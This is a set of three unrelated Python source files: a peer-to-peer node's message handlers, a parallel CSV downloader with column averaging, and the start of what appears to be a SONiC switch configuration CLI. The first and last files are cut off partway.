neighbours with connections to close them properly during BYE header_bytes = client.recv(16) if len(header_bytes) == 0: logging.warning(f'Received zero bytes message. Closing socket: {client}') client.close() return header = Header.from_bytes(header_bytes) payload = client.recv(header.length) msg = Message(header.msg_type, self.host_addr) msg.header = header msg.payload = str(payload, 'utf-8') logging.debug('Received message of type %s.' % msg.header.msg_type.name) logging.debug(f'Message print out: {msg}') if msg.header.msg_type == types.MsgType.PING: self.handle_ping(msg) elif msg.header.msg_type == types.MsgType.PONG: self.handle_pong(msg) elif msg.header.msg_type == types.MsgType.JOIN: connected = self.handle_join(msg, client) elif msg.header.msg_type == types.MsgType.JACC: connected = self.handle_jacc(msg, client) elif msg.header.msg_type == types.MsgType.BYE: self.handle_bye(msg) connected = False elif msg.header.msg_type == types.MsgType.QUERY: self.handle_query(msg) elif msg.header.msg_type == types.MsgType.QHIT: self.handle_query_hit(msg) elif msg.header.msg_type == types.MsgType.POST: self.handle_post(msg) # TODO think about this, do we keep this open or do we only process one msg per inbound connection? # is it possible from the sender's side to use the same socket to send multiple post msgs? # and how would we signal the end of the communication? connected = False client.close() def handle_ping(self, msg: Message): """Handles incoming ping.""" if msg.get_id() in self.recv_pings: logging.debug('Rejecting ping because message was already received.') return elif msg.get_sender() == self.host_addr: logging.debug('Rejecting ping because we are the original sender of the message.') return # TODO this just saves the original sender of the ping instead of the neighbour that we got the msg from self.recv_pings[msg.get_id()] = msg.get_sender() msg.header.ttl -= 1 msg.header.hop_count += 1 if msg.header.ttl > 0 and msg.header.hop_count <= Config.prot_max_ttl and self.outbound_neighbours: # forward ping to all neighbours (except the neighbour that we got the ping from) num_of_neighbours = len(self.outbound_neighbours) logging.debug('Forwarding ping to at most %d neighbours.' % num_of_neighbours) for n in self.outbound_neighbours: # Do not send the ping back to where we got it from if n.addr is not msg.get_sender(): # TODO we should actually compare with the peer id from the ingoing neighbour connection logging.debug(f'Sender check passed: neighbour <{n.addr}> vs. sender <{msg.get_sender()}>') logging.debug(f'Forwarding ping to {n}') n.send(msg) logging.debug(f'Add {msg.get_id()}:{msg.get_sender()} to list of received pings') # send pong to sender # TODO we should know from which direct node we got the ping in order to send back the pong # msg.get_sender() is address of the original sender, not necessarily the node that sent it our way if len(self.outbound_neighbours) < Config.max_connections: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sender = msg.get_sender() s.connect(sender) pong_msg = Message(msg_type=types.MsgType.PONG, sender=self.host_addr, msg_id=msg.get_id()) logging.debug('Sending message of type PONG to %s:%d' % sender) logging.debug(f'Message printout: {pong_msg}') s.send(pong_msg.bytes()) else: logging.debug(f"Not sending back PONG message because: {len(self.outbound_neighbours)} outbound neighbours " f">= {Config.max_connections} max connections") # TODO can we ensure that neighbour connection after ping is symmetrical? # what if this peer builds a neighbour connection to the other peer # but the peer does not choose this peer out of its neighbour candidates? # maybe we need a handshake after all if len(self.outbound_neighbours) < Config.neighbours: # TODO we really should know the peer id/ pub key of the sender and add it to Peer peer = Peer(msg.get_sender()) # append to neighbours logging.info('Connecting to new neighbour after ping: {}'.format(peer.addr)) self.outbound_neighbours.append(peer) logging.debug(f'Current neighbours: {self.outbound_neighbours}') def handle_pong(self, msg: Message): """Handles incoming pong.""" if len(self.outbound_neighbours) < Config.max_connections and msg.get_sender() != self.host_addr: if msg.get_sender() not in self.neighbour_candidates: self.neighbour_candidates.append(msg.get_sender()) else: logging.warning(f"Sender {msg.get_sender()} already sent a pong") if msg.get_id() in self.sent_pings: logging.debug('Received pong for my ping.') return elif msg.get_id() not in self.recv_pings: logging.debug(f'Rejecting pong because message id {msg.get_id()} is unknown.') logging.debug(f'Sent pings: {self.sent_pings}') logging.debug(f'Received pings: {self.recv_pings.keys()}') return msg.header.ttl -= 1 msg.header.hop_count += 1 # Reverse path routing pongs if msg.header.ttl > 0 and msg.header.hop_count <= Config.prot_max_ttl: # TODO route pong back via neighbour connection instead of opening a new socket # which would in turn creates a new socket on the other side and start a separate reply thread # and is only used once s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(self.recv_pings[msg.get_id()]) s.send(Message(types.MsgType.PONG, msg.get_sender()).bytes()) def handle_join(self, msg: Message, client: socket.socket): """Handles incoming join.""" if len(self.outbound_neighbours) < Config.max_connections: try: client.send(self.peer_id.encode('utf-8')) # Send my id to the requesting node sender_peer_id = msg.payload[:32] # mapping from client.getpeername() to peer id self.inbound_neighbours.append(Peer(addr=msg.get_sender(), peer_id=sender_peer_id, s=client)) except Exception as e: logging.warning(f'Handle join function failed while building inbound connection. ({e})') return False s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(msg.get_sender()) s.settimeout(3) try: jacc_msg = Message(types.MsgType.JACC, self.host_addr, payload=self.peer_id) logging.debug('Sending message of type JACC to %s:%d' % msg.get_sender()) logging.debug(f'Message printout: {jacc_msg}') s.send(jacc_msg.bytes()) peer_id = s.recv(1024).decode('utf-8')[:32] if peer_id == sender_peer_id: # mapping from Peer.socket.getpeername() to peer id self.outbound_neighbours.append(Peer(addr=msg.get_sender(), peer_id=sender_peer_id, s=s)) return True except Exception as e: logging.warning(f'Handle join function failed while building outbound connection. ({e})') # Join failed, clean up try: s.shutdown(socket.SHUT_RDWR) s.close() except OSError as e: logging.warning(e) return False def handle_jacc(self, msg: Message, client: socket.socket): try: client.send(self.peer_id.encode('utf-8')) # Send my id to the requesting node sender_peer_id = msg.payload[:32] # mapping from client.getpeername() to peer id self.inbound_neighbours.append(Peer(addr=msg.get_sender(), peer_id=sender_peer_id, s=client)) except Exception as e: logging.warning(f'Handle join function failed while building inbound connection. ({e})') return False def handle_bye(self, msg: Message): """Handles incoming bye.""" for n in self.outbound_neighbours: if n.addr == msg.get_sender(): # this closes the outgoing connection self.outbound_neighbours.remove(n) n.disconnect() break def handle_query(self, msg: Message): """Handles incoming query.""" if msg.get_id() in self.recv_queries: logging.debug('Rejecting query because message was already received.') return elif msg.get_sender() == self.host_addr: logging.debug('Rejecting query because we are the original sender of the message.') return # TODO this just saves the original sender of the query instead of the neighbour that we got the msg from self.recv_queries[msg.get_id()] = msg.get_sender() # Compare recipient public key with own public key, if no match forward to neighbours recipient_pub_key = utils.peer_id_to_pub_key(msg.payload) if recipient_pub_key.n == self.pub_key.n and recipient_pub_key.e == self.pub_key.e: # TODO sends query hit directly to sender, in reality we should do reverse path routing # find out from which neighbour we got it the query and route it back to them s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sender = msg.get_sender() s.connect(sender) qhit_msg = Message(types.MsgType.QHIT, self.host_addr, payload=self.peer_id) logging.debug('Sending message of type QHIT to %s:%d' % sender) logging.debug(f'Message printout: {qhit_msg}') s.send(qhit_msg.bytes()) else: msg.header.ttl -= 1 msg.header.hop_count += 1 if msg.header.ttl > 0 and msg.header.hop_count <= Config.prot_max_ttl and self.outbound_neighbours: # forward query to all neighbours (except the neighbour that we got the query from) num_of_neighbours = len(self.outbound_neighbours) logging.debug('Forwarding query to at most %d neighbours.' % num_of_neighbours) for n in self.outbound_neighbours: # Do not send the query back to where we got it from if n.addr is not msg.get_sender(): # TODO we should actually compare with the peer id from the ingoing neighbour connection logging.debug(f'Sender check passed: neighbour <{n.addr}> vs. sender <{msg.get_sender()}>') logging.debug(f'Forwarding query to {n}') n.send(msg) logging.debug(f'Add {msg.get_id()}:{msg.get_sender()} to list of received queries') def handle_query_hit(self, msg: Message): """Handles incoming query hit.""" # Case 1: we are the sender # Start a connection to the recipient and start posting messages peer_id = msg.payload[:32] if peer_id in self.recipient_id_map: self.recipient_id_map[peer_id] = msg.get_sender() logging.debug(f'Update recipient id to address mapping: {peer_id}<-{msg.get_sender()}') return # Case 2: we are not the sender, reverse path routing to sender if msg.get_id() not in self.recv_queries: logging.debug('Rejecting query hit because message id is unknown.') return msg.header.ttl -= 1 msg.header.hop_count += 1 # Reverse path routing query hit if msg.header.ttl > 0 and msg.header.hop_count <= Config.prot_max_ttl: # TODO route query hit back via neighbour connection instead of opening a new socket # which in turn creates a new socket on the other side and starts a separate reply thread s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(self.recv_queries[msg.get_id()]) s.send(msg.bytes()) def handle_post(self, msg: Message): """Handles incoming post.""" peer_id = msg.payload[:24] if peer_id != self.peer_id: logging.error(f"Peer ID mismatch: recipient <{peer_id}> vs. own <{self.peer_id}>") return msg_content = msg.payload[24:] # TODO Decrypt message, fails if there are not enough bytes logging.info(f"Message content: <{msg_content}>")
reader.py
import os import time import uuid import csv import shutil from multiprocessing import Process, Pipe try: from urllib.request import Request, urlopen # Python 3 except: from urllib2 import Request, urlopen # Python 2 class Reader(object): def __init__(self, url, debug=True): super(Reader, self).__init__() self.url = url self.file_size = None self.file_name = None self.num_lines = None self.end_time = 0 self.start_time = 0 self.debug = debug if debug: self.print = lambda x: print(x) else: self.print = lambda x: x # Gets the size from the header of the response def size(self): d = urlopen(self.url) self.file_size = int(d.getheader('Content-Length')) return self.file_size @property def is_fetched(self): return self.file_name is not None # Fetch the file if needed # Returns the name of the file def fetch(self, num_processes=100): if self.file_name: return True if self.file_size is None: self.size() self.file_name = "/tmp/{0}.csv".format(uuid.uuid4()) # Worker function for each process def download(_process_name, _url, _file_name, _byte_range): self.print("{0} with byte range {1}".format( _process_name, _byte_range, (_byte_range[1]-_byte_range[0]) )) q = Request(_url) # Request only a byte range # Reference: https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.35 q.add_header('Range', 'bytes={0}-{1}'.format(_byte_range[0], _byte_range[1])) # Writing chunks of text because it is more efficient than writing # at the end once response = urlopen(q) chunk_size = 16 * 1024 with open(_file_name, 'wb') as _f: while True: chunk = response.read(chunk_size) if not chunk: break _f.write(chunk) self.print("{0} has completed the download!".format(_process_name)) bytes_per_process = self.file_size // num_processes processes = [] processes_file_names = [] for i in range(0, num_processes): file_i = "{0}-{1}".format(self.file_name, i+1) processes_file_names.append(file_i) byte_range_start = i * bytes_per_process byte_range_end = byte_range_start + bytes_per_process - 1 byte_range = (byte_range_start, byte_range_end) process = Process(target=download, args=("Process {0}".format(i+1), self.url, file_i, byte_range)) processes.append(process) self.print("Process {0} prepared".format(i+1)) i = 0 for process in processes: self.print("Process {0} started".format(i + 1)) process.start() i += 1 i = 0 for process in processes: process.join() self.print("Process {0} ended".format(i + 1)) i += 1 with open(self.file_name, 'wb') as file_: for process_file_name in processes_file_names: with open(process_file_name, 'rb') as process_file: shutil.copyfileobj(process_file, file_, 1024 * 1024 * 10) os.remove(process_file_name) # Remove the original file def remove(self): if self.file_name: os.remove(self.file_name) self.file_name = None return True return False # Some float column values are not valid, # For example, they contain two dots instead of one # If there were any other data cleaning to do, it would be included here @staticmethod def _to_float(value): return float(value) # Compute the average value of a column def avg(self, field_name): if self.file_name is None: raise ValueError("CSV file is not fetched") worker = CsvWorker(self.file_name) field_name_sum = worker.reduce_field(field_name=field_name, operation=lambda x, y: x+float(y)) self.num_lines = worker.num_lines return float(field_name_sum) / float(worker.num_lines) def start(self): self.start_time = time.time() def end(self): self.end_time = time.time() @property def elapsed_time(self): return self.end_time - self.start_time class CsvWorker(object): def __init__(self, file_name): self.file_name = file_name self.num_lines = 0 def reduce_field(self, field_name, operation, condition=None): with open(self.file_name, "r") as csv_file: csv_reader = csv.DictReader(csv_file) acc = 0.0 self.num_lines = 0 row_index = 0 for row in csv_reader: if row[field_name] and ((condition and condition(row_index, row)) or not condition): acc = operation(acc, row[field_name]) self.num_lines += 1 row_index += 1 return acc
main.py
#!/usr/sbin/env python import click import ipaddress import json import netaddr import netifaces import os import re import subprocess import sys import threading import time from socket import AF_INET, AF_INET6 from minigraph import parse_device_desc_xml from portconfig import get_child_ports from sonic_py_common import device_info, multi_asic from sonic_py_common.interface import get_interface_table_name, get_port_table_name from swsscommon.swsscommon import SonicV2Connector, ConfigDBConnector, SonicDBConfig from utilities_common.db import Db from utilities_common.intf_filter import parse_interface_in_filter import utilities_common.cli as clicommon from .utils import log from . import aaa from . import chassis_modules from . import console from . import feature from . import kdump from . import kube from . import mlnx from . import muxcable from . import nat from . import vlan from . import vxlan from .config_mgmt import ConfigMgmtDPB # mock masic APIs for unit test try: if os.environ["UTILITIES_UNIT_TESTING"] == "1" or os.environ["UTILITIES_UNIT_TESTING"] == "2": modules_path = os.path.join(os.path.dirname(__file__), "..") tests_path = os.path.join(modules_path, "tests") sys.path.insert(0, modules_path) sys.path.insert(0, tests_path) import mock_tables.dbconnector if os.environ["UTILITIES_UNIT_TESTING_TOPOLOGY"] == "multi_asic": import mock_tables.mock_multi_asic mock_tables.dbconnector.load_namespace_config() except KeyError: pass CONTEXT_SETTINGS = dict(help_option_names=['-h', '--help', '-?']) SONIC_GENERATED_SERVICE_PATH = '/etc/sonic/generated_services.conf' SONIC_CFGGEN_PATH = '/usr/local/bin/sonic-cfggen' VLAN_SUB_INTERFACE_SEPARATOR = '.' ASIC_CONF_FILENAME = 'asic.conf' DEFAULT_CONFIG_DB_FILE = '/etc/sonic/config_db.json' NAMESPACE_PREFIX = 'asic' INTF_KEY = "interfaces" INIT_CFG_FILE = '/etc/sonic/init_cfg.json' SYSTEMCTL_ACTION_STOP="stop" SYSTEMCTL_ACTION_RESTART="restart" SYSTEMCTL_ACTION_RESET_FAILED="reset-failed" DEFAULT_NAMESPACE = '' CFG_LOOPBACK_PREFIX = "Loopback" CFG_LOOPBACK_PREFIX_LEN = len(CFG_LOOPBACK_PREFIX) CFG_LOOPBACK_NAME_TOTAL_LEN_MAX = 11 CFG_LOOPBACK_ID_MAX_VAL = 999 CFG_LOOPBACK_NO="<0-999>" CFG_PORTCHANNEL_PREFIX = "PortChannel" CFG_PORTCHANNEL_PREFIX_LEN = 11 CFG_PORTCHANNEL_NAME_TOTAL_LEN_MAX = 15 CFG_PORTCHANNEL_MAX_VAL = 9999 CFG_PORTCHANNEL_NO="<0-9999>" PORT_MTU = "mtu" PORT_SPEED = "speed" asic_type = None # # Breakout Mode Helper functions # # Read given JSON file def readJsonFile(fileName): try: with open(fileName) as f: result = json.load(f) except Exception as e: raise Exception(str(e)) return result def _get_breakout_options(ctx, args, incomplete): """ Provides dynamic mode option as per user argument i.e. interface name """ all_mode_options = [] interface_name = args[-1] breakout_cfg_file = device_info.get_path_to_port_config_file() if not os.path.isfile(breakout_cfg_file) or not breakout_cfg_file.endswith('.json'): return [] else: breakout_file_input = readJsonFile(breakout_cfg_file) if interface_name in breakout_file_input[INTF_KEY]: breakout_mode_list = [v["breakout_modes"] for i, v in breakout_file_input[INTF_KEY].items() if i == interface_name][0] breakout_mode_options = [] for i in breakout_mode_list.split(','): breakout_mode_options.append(i) all_mode_options = [str(c) for c in breakout_mode_options if incomplete in c] return all_mode_options def shutdown_interfaces(ctx, del_intf_dict): """ shut down all the interfaces before deletion """ for intf in del_intf_dict: config_db = ctx.obj['config_db'] if clicommon.get_interface_naming_mode() == "alias": interface_name = interface_alias_to_name(config_db, intf) if interface_name is None: click.echo("[ERROR] interface name is None!") return False if interface_name_is_valid(config_db, intf) is False: click.echo("[ERROR] Interface name is invalid. Please enter a valid interface name!!") return False port_dict = config_db.get_table('PORT') if not port_dict: click.echo("port_dict is None!") return False if intf in port_dict: config_db.mod_entry("PORT", intf, {"admin_status": "down"}) else: click.secho("[ERROR] Could not get the correct interface name, exiting", fg='red') return False return True def _validate_interface_mode(ctx, breakout_cfg_file, interface_name, target_brkout_mode, cur_brkout_mode): """ Validate Parent interface and user selected mode before starting deletion or addition process """ breakout_file_input = readJsonFile(breakout_cfg_file)["interfaces"] if interface_name not in breakout_file_input: click.secho("[ERROR] {} is not a Parent port. So, Breakout Mode is not available on this port".format(interface_name), fg='red') return False # Check whether target breakout mode is available for the user-selected interface or not if target_brkout_mode not in breakout_file_input[interface_name]["breakout_modes"]: click.secho('[ERROR] Target mode {} is not available for the port {}'. format(target_brkout_mode, interface_name), fg='red') return False # Get config db context config_db = ctx.obj['config_db'] port_dict = config_db.get_table('PORT') # Check whether there is any port in config db. if not port_dict: click.echo("port_dict is None!") return False # Check whether the user-selected interface is part of 'port' table in config db. if interface_name not in port_dict: click.secho("[ERROR] {} is not in port_dict".format(interface_name)) return False click.echo("\nRunning Breakout Mode : {} \nTarget Breakout Mode : {}".format(cur_brkout_mode, target_brkout_mode)) if (cur_brkout_mode == target_brkout_mode): click.secho("[WARNING] No action will be taken as current and desired Breakout Mode are same.", fg='magenta') sys.exit(0) return True def load_ConfigMgmt(verbose): """ Load config for the commands which are capable of change in config DB. """ try: cm = ConfigMgmtDPB(debug=verbose) return cm except Exception as e: raise Exception("Failed to load the config. Error: {}".format(str(e))) def breakout_warnUser_extraTables(cm, final_delPorts, confirm=True): """ Function to warn user about extra tables while Dynamic Port Breakout(DPB). confirm: re-confirm from user to proceed. Config Tables Without Yang model considered extra tables. cm = instance of config MGMT class. """ try: # check if any extra tables exist eTables = cm.tablesWithOutYang() if len(eTables): # find relavent tables in extra tables, i.e. one which can have deleted # ports tables = cm.configWithKeys(configIn=eTables, keys=final_delPorts) click.secho("Below Config can not be verified, It may cause harm "\ "to the system\n {}".format(json.dumps(tables, indent=2))) click.confirm('Do you wish to Continue?', abort=True) except Exception as e: raise Exception("Failed in breakout_warnUser_extraTables. Error: {}".format(str(e))) return def breakout_Ports(cm, delPorts=list(), portJson=dict(), force=False, \ loadDefConfig=False, verbose=False): deps, ret = cm.breakOutPort(delPorts=delPorts, portJson=portJson, \ force=force, loadDefConfig=loadDefConfig) # check if DPB failed if ret == False: if not force and deps: click.echo("Dependecies Exist. No further action will be taken") click.echo("*** Printing dependecies ***") for dep in deps: click.echo(dep) sys.exit(0) else: click.echo("[ERROR] Port breakout Failed!!! Opting Out") raise click.Abort() return # # Helper functions # # Execute action per NPU instance for multi instance services. def execute_systemctl_per_asic_instance(inst, event, service, action): try: click.echo("Executing {} of service {}@{}...".format(action, service, inst)) clicommon.run_command("systemctl {} {}@{}.service".format(action, service, inst)) except SystemExit as e: log.log_error("Failed to execute {} of service {}@{} with error {}".format(action, service, inst, e)) # Set the event object if there is a failure and exception was raised. event.set() # Execute action on list of systemd services def execute_systemctl(list_of_services, action): num_asic = multi_asic.get_num_asics() generated_services_list, generated_multi_instance_services = _get_sonic_generated_services(num_asic) if ((generated_services_list == []) and (generated_multi_instance_services == [])): log.log_error("Failed to get generated services") return for service in list_of_services: if (service + '.service' in generated_services_list): try: click.echo("Executing {} of service {}...".format(action, service)) clicommon.run_command("systemctl {} {}".format(action, service)) except SystemExit as e: log.log_error("Failed to execute {} of service {} with error {}".format(action, service, e)) raise if (service + '.service' in generated_multi_instance_services): # With Multi NPU, Start a thread per instance to do the "action" on multi instance services. if multi_asic.is_multi_asic(): threads = [] # Use this event object to co-ordinate if any threads raised exception e = threading.Event() kwargs = {'service': service, 'action': action} for inst in range(num_asic): t = threading.Thread(target=execute_systemctl_per_asic_instance, args=(inst, e), kwargs=kwargs) threads.append(t) t.start() # Wait for all the threads to finish. for inst in range(num_asic): threads[inst].join() # Check if any of the threads have raised exception, if so exit the process. if e.is_set(): sys.exit(1) def _get_device_type(): """ Get device type TODO: move to sonic-py-common """ command = "{} -m -v DEVICE_METADATA.localhost.type".format(SONIC_CFGGEN_PATH) proc = subprocess.Popen(command, shell=True, text=True, stdout=subprocess.PIPE) device_type, err = proc.communicate() if err: click.echo("Could not get the device type from minigraph, setting device type to Unknown") device_type = 'Unknown' else: device_type = device_type.strip() return device_type def interface_alias_to_name(config_db, interface_alias): """Return default interface name if alias name is given as argument """ vlan_id = "" sub_intf_sep_idx = -1 if interface_alias is not None: sub_intf_sep_idx = interface_alias.find(VLAN_SUB_INTERFACE_SEPARATOR) if sub_intf_sep_idx != -1: vlan_id = interface_alias[sub_intf_sep_idx + 1:] # interface_alias holds the parent port name so the subsequent logic still applies interface_alias = interface_alias[:sub_intf_sep_idx] # If the input parameter config_db is None, derive it from interface. # In single ASIC platform, get_port_namespace() returns DEFAULT_NAMESPACE. if config_db is None: namespace = get_port_namespace(interface_alias) if namespace is None: return None config_db = ConfigDBConnector(use_unix_socket_path=True, namespace=namespace) config_db.connect() port_dict = config_db.get_table('PORT') if interface_alias is not None: if not port_dict: click.echo("port_dict is None!") raise click.Abort() for port_name in port_dict: if interface_alias == port_dict[port_name]['alias']: return port_name if sub_intf_sep_idx == -1 else port_name + VLAN_SUB_INTERFACE_SEPARATOR + vlan_id # Interface alias not in port_dict, just return interface_alias, e.g., # portchannel is passed in as argument, which does not have an alias return interface_alias if sub_intf_sep_idx == -1 else interface_alias + VLAN_SUB_INTERFACE_SEPARATOR + vlan_id def interface_name_is_valid(config_db, interface_name): """Check if the interface name is valid """ # If the input parameter config_db is None, derive it from interface. # In single ASIC platform, get_port_namespace() returns DEFAULT_NAMESPACE. if config_db is None: namespace = get_port_namespace(interface_name) if namespace is None: return False config_db = ConfigDBConnector(use_unix_socket_path=True, namespace=namespace) config_db.connect() port_dict = config_db.get_table('PORT') port_channel_dict = config_db.get_table('PORTCHANNEL') sub_port_intf_dict = config_db.get_table('VLAN_SUB_INTERFACE') if clicommon.get_interface_naming_mode() == "alias": interface_name = interface_alias_to_name(config_db, interface_name) if interface_name is not None: if not port_dict: click.echo("port_dict is None!") raise click.Abort() for port_name in port_dict: if interface_name == port_name: return True if port_channel_dict: for port_channel_name in port_channel_dict: if interface_name == port_channel_name: return True if sub_port_intf_dict: for sub_port_intf_name in sub_port_intf_dict: if interface_name == sub_port_intf_name: return True return False def interface_name_to_alias(config_db, interface_name): """Return alias interface name if default name is given as argument """ # If the input parameter config_db is None, derive it from interface. # In single ASIC platform, get_port_namespace() returns DEFAULT_NAMESPACE. if config_db is None: namespace = get_port_namespace(interface_name) if namespace is None: return None config_db = ConfigDBConnector(use_unix_socket_path=True, namespace=namespace) config_db.connect() port_dict = config_db.get_table('PORT') if interface_name is not None: if not port_dict: click.echo("port_dict is None!") raise click.Abort() for port_name in port_dict: if interface_name == port_name: return port_dict[port_name]['alias'] return None def interface_ipaddr_dependent_on_interface(config_db, interface_name): """Get table keys including ipaddress """ data = [] table_name = get_interface_table_name(interface_name) if table_name == "": return data keys = config_db.get_keys(table_name) for key in keys: if interface_name in key and len(key) == 2: data.append(key) return data def is_interface_bind_to_vrf(config_db, interface_name): """Get interface if bind to vrf or not """ table_name = get_interface_table_name(interface_name) if table_name == "": return False entry = config_db.get_entry(table_name, interface_name) if entry and entry.get("vrf_name"): return True return False def is_portchannel_name_valid(portchannel_name): """Port channel name validation """ # Return True if Portchannel name is PortChannelXXXX (XXXX can be 0-9999) if portchannel_name[:CFG_PORTCHANNEL_PREFIX_LEN] != CFG_PORTCHANNEL_PREFIX : return False if (portchannel_name[CFG_PORTCHANNEL_PREFIX_LEN:].isdigit() is False or int(portchannel_name[CFG_PORTCHANNEL_PREFIX_LEN:]) > CFG_PORTCHANNEL_MAX_VAL) : return False if len(portchannel_name) > CFG_PORTCHANNEL_NAME_TOTAL_LEN_MAX: return False return True def is_portchannel_present_in_db(db, portchannel_name): """Check if Portchannel is present in Config DB """ # Return True if Portchannel name exists in the CONFIG_DB portchannel_list = db.get_table(CFG_PORTCHANNEL_PREFIX) if portchannel_list is None: return False if portchannel_name in portchannel_list: return True return False def is_port_member_of_this_portchannel(db, port_name, portchannel_name): """Check if a port is member of given portchannel """ portchannel_list = db.get_table(CFG_PORTCHANNEL_PREFIX) if portchannel_list is None: return False for k,v in db.get_table('PORTCHANNEL_MEMBER'): if (k == portchannel_name) and (v == port_name): return True return False # Return the namespace where an interface belongs # The port name input could be in default mode or in alias mode. def get_port_namespace(port): # If it is a non multi-asic platform, or if the interface is management interface # return DEFAULT_NAMESPACE if not multi_asic.is_multi_asic() or port == 'eth0': return DEFAULT_NAMESPACE # Get the table to check for interface presence table_name = get_port_table_name(port) if table_name == "": return None ns_list = multi_asic.get_all_namespaces() namespaces = ns_list['front_ns'] + ns_list['back_ns'] for namespace in namespaces: config_db = ConfigDBConnector(use_unix_socket_path=True, namespace=namespace) config_db.connect() # If the interface naming mode is alias, search the tables for alias_name. if clicommon.get_interface_naming_mode() == "alias": port_dict = config_db.get_table(table_name) if port_dict: for port_name in port_dict: if port == port_dict[port_name]['alias']: return namespace else: entry = config_db.get_entry(table_name, port) if entry: return namespace return None def del_interface_bind_to_vrf(config_db, vrf_name): """del interface bind to vrf """ tables = ['INTERFACE', 'PORTCHANNEL_INTERFACE', 'VLAN_INTERFACE', 'LOOPBACK_INTERFACE'] for table_name in tables: interface_dict = config_db.get_table(table_name) if interface_dict: for interface_name in interface_dict: if 'vrf_name' in interface_dict[interface_name] and vrf_name == interface_dict[interface_name]['vrf_name']: interface_dependent = interface_ipaddr_dependent_on_interface(config_db, interface_name) for interface_del in interface_dependent: config_db.set_entry(table_name, interface_del, None) config_db.set_entry(table_name, interface_name, None) def set_interface_naming_mode(mode): """Modify SONIC_CLI_IFACE_MODE env variable in user .bashrc """ user = os.getenv('SUDO_USER') bashrc_ifacemode_line = "export SONIC_CLI_IFACE_MODE={}".format(mode) # In case of multi-asic, we can check for the alias mode support in any of # the namespaces as this setting of alias mode should be identical everywhere. # Here by default we set the namespaces to be a list just having '' which # represents the linux host. In case of multi-asic, we take the first namespace # created for the front facing ASIC. namespaces = [DEFAULT_NAMESPACE] if multi_asic.is_multi_asic(): namespaces = multi_asic.get_all_namespaces()['front_ns'] # Ensure all interfaces have an 'alias' key in PORT dict config_db = ConfigDBConnector(use_unix_socket_path=True, namespace=namespaces[0]) config_db.connect() port_dict = config_db.get_table('PORT') if not port_dict: click.echo("port_dict is None!") raise click.Abort() for port_name in port_dict: try: if port_dict[port_name]['alias']: pass except KeyError: click.echo("Platform does not support alias mapping") raise click.Abort() if not user: user = os.getenv('USER') if user != "root": bashrc = "/home/{}/.bashrc".format(user) else: click.get_current_context().fail("Cannot set interface naming mode for root user!") f = open(bashrc, 'r') filedata = f.read() f.close() if "SONIC_CLI_IFACE_MODE" not in filedata: newdata = filedata + bashrc_ifacemode_line newdata += "\n" else: newdata = re.sub(r"export SONIC_CLI_IFACE_MODE=\w+", bashrc_ifacemode_line, filedata) f = open(bashrc, 'w') f.write(newdata) f.close() click.echo("Please logout and log back in for changes take effect.") def _is_neighbor_ipaddress(config_db, ipaddress): """Returns True if a neighbor has the IP address <ipaddress>, False if not """ entry = config_db.get_entry('BGP_NEIGHBOR', ipaddress) return True if entry else False def _get_all_neighbor_ipaddresses(config_db): """Returns list of strings containing IP addresses of all BGP neighbors """ addrs = [] bgp_sessions = config_db.get_table('BGP_NEIGHBOR') for addr, session in bgp_sessions.items(): addrs.append(addr) return addrs def _get_neighbor_ipaddress_list_by_hostname(config_db, hostname): """Returns list of strings, each containing an IP address of neighbor with hostname <hostname>. Returns empty list if <hostname> not a neighbor """ addrs = [] bgp_sessions = config_db.get_table('BGP_NEIGHBOR') for addr, session in bgp_sessions.items(): if 'name' in session and session['name'] == hostname: addrs.append(addr) return addrs def _change_bgp_session_status_by_addr(config_db, ipaddress, status, verbose): """Start up or shut down BGP session by IP address """ verb = 'Starting' if status == 'up' else 'Shutting' click.echo("{} {} BGP session with neighbor {}...".format(verb, status, ipaddress)) config_db.mod_entry('bgp_neighbor', ipaddress, {'admin_status': status}) def _change_bgp_session_status(config_db, ipaddr_or_hostname, status, verbose): """Start up or shut down BGP session by IP address or hostname """ ip_addrs = [] # If we were passed an IP address, convert it to lowercase because IPv6 addresses were # stored in ConfigDB with all lowercase alphabet characters during minigraph parsing if _is_neighbor_ipaddress(config_db, ipaddr_or_hostname.lower()): ip_addrs.append(ipaddr_or_hostname.lower()) else: # If <ipaddr_or_hostname> is not the IP address of a neighbor, check to see if it's a hostname ip_addrs = _get_neighbor_ipaddress_list_by_hostname(config_db, ipaddr_or_hostname) if not ip_addrs: return False for ip_addr in ip_addrs: _change_bgp_session_status_by_addr(config_db, ip_addr, status, verbose) return True def _validate_bgp_neighbor(config_db, neighbor_ip_or_hostname): """validates whether the given ip or host name is a BGP neighbor """ ip_addrs = [] if _is_neighbor_ipaddress(config_db, neighbor_ip_or_hostname.lower()): ip_addrs.append(neighbor_ip_or_hostname.lower()) else: ip_addrs = _get_neighbor_ipaddress_list_by_hostname(config_db, neighbor_ip_or_hostname.upper()) return ip_addrs def _remove_bgp_neighbor_config(config_db, neighbor_ip_or_hostname): """Removes BGP configuration of the given neighbor """ ip_addrs = _validate_bgp_neighbor(config_db, neighbor_ip_or_hostname) if not ip_addrs: return False for ip_addr in ip_addrs: config_db.mod_entry('bgp_neighbor', ip_addr, None) click.echo("Removed configuration of BGP neighbor {}".format(ip_addr)) return True def _change_hostname(hostname): current_hostname = os.uname()[1] if current_hostname != hostname: clicommon.run_command('echo {} > /etc/hostname'.format(hostname), display_cmd=True) clicommon.run_command('hostname -F /etc/hostname', display_cmd=True) clicommon.run_command('sed -i "/\s{}$/d" /etc/hosts'.format(current_hostname), display_cmd=True) clicommon.run_command('echo "127.0.0.1 {}" >> /etc/hosts'.format(hostname), display_cmd=True) def _clear_qos(): QOS_TABLE_NAMES = [ 'TC_TO_PRIORITY_GROUP_MAP', 'MAP_PFC_PRIORITY_TO_QUEUE', 'TC_TO_QUEUE_MAP', 'DSCP_TO_TC_MAP', 'SCHEDULER', 'PFC_PRIORITY_TO_PRIORITY_GROUP_MAP', 'PORT_QOS_MAP', 'WRED_PROFILE', 'QUEUE', 'CABLE_LENGTH', 'BUFFER_POOL', 'BUFFER_PROFILE', 'BUFFER_PG', 'BUFFER_QUEUE'] namespace_list = [DEFAULT_NAMESPACE] if multi_asic.get_num_asics() > 1: namespace_list = multi_asic.get_namespaces_from_linux() for ns in namespace_list: if ns is DEFAULT_NAMESPACE: config_db = ConfigDBConnector() else: config_db = ConfigDBConnector( use_unix_socket_path=True, namespace=ns ) 